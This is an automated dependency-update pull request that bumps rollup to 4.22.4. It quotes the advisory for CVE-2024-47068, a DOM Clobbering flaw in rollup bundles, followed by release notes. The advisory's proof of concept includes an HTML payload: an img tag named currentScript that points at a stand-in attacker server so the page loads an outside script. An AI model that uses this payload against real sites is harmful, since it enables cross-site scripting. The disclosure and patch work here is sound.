📦 Update dependency rollup to v4.22.4 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
rollup (source)	4.21.3 -> 4.22.4

See all other Renovate PRs on the Dependency Dashboard

How to resolve breaking changes

This PR may introduce breaking changes that require manual intervention. In such cases, you will need to check out this branch, fix the cause of the breakage, and commit the fix to ensure a green CI build. To check out and update this PR, follow the steps below:

# Check out the PR branch
git checkout -b renovate/npm-rollup-vulnerability main
git pull https://github.com/ampproject/amphtml.git renovate/npm-rollup-vulnerability

# Directly make fixes and commit them
amp lint --fix # For lint errors in JS files
amp prettify --fix # For prettier errors in non-JS files
# Edit source code in case of new compiler warnings / errors

# Push the changes to the branch
git push git@github.com:ampproject/amphtml.git renovate/npm-rollup-vulnerability:renovate/npm-rollup-vulnerability

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

A DOM Clobbering vulnerability was discovered in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that similar issues in other popular bundlers like Webpack (CVE-2024-43788) have been reported, which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

A DOM Clobbering vulnerability in rollup bundled scripts was identified, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

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Release Notes

rollup/rollup (rollup)

v4.22.4

Compare Source

2024-09-21

Bug Fixes

• Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#​5671)

Pull Requests

• #​5670: refactor: Use object.prototype to check for reserved properties (@​YuHyeonWook)
• #​5671: Fix DOM Clobbering CVE (@​lukastaegert)

v4.22.3

Compare Source

2024-09-21

Bug Fixes

• Ensure that mutations in modules without side effects are observed while properly handling transitive dependencies (#​5669)

Pull Requests

• #​5669: Ensure impure dependencies of pure modules are added (@​lukastaegert)

v4.22.2

Compare Source

2024-09-20

Bug Fixes

• Revert fix for side effect free modules until other issues are investigated (#​5667)

Pull Requests

• #​5667: Partially revert #​5658 and re-apply #​5644 (@​lukastaegert)

v4.22.1

Compare Source

2024-09-20

Bug Fixes

• Revert #​5644 "stable chunk hashes" while issues are being investigated

Pull Requests

• #​5663: chore(deps): update dependency inquirer to v11 (@​renovate[bot], @​lukastaegert)
• #​5664: chore(deps): lock file maintenance minor/patch updates (@​renovate[bot])
• #​5665: fix: type in CI file (@​YuHyeonWook)
• #​5666: chore(deps): lock file maintenance minor/patch updates (@​renovate[bot])

v4.22.0

Compare Source

2024-09-19

Features

• Add additional known global values to avoid access side effects (#​5651)

Bug Fixes

• Ensure deterministic chunk hash generation despite async renderChunk hook (#​5644)
• Improve side effect detection when using "smallest" treeshaking preset when imports are optimized away (#​5658)

Pull Requests

• #​5644: fix: apply final hashes deterministically with stable placeholders set (@​mattkubej, @​lukastaegert)
• #​5646: chore(deps): update dependency @​mermaid-js/mermaid-cli to v11 (@​renovate[bot])
• #​5647: chore(deps): update dependency concurrently to v9 (@​renovate[bot])
• #​5648: chore(deps): lock file maintenance minor/patch updates (@​renovate[bot])
• #​5651: feat: add AggregateError, FinalizationRegistry, WeakRef to knownGlobals (@​re-taro)
• #​5653: Fix example selection in REPL (@​lukastaegert)
• #​5657: chore(deps): update dependency vite to v5.4.6 [security] (@​renovate[bot])
• #​5658: Detect variable reassignments in modules without side effects (@​lukastaegert)

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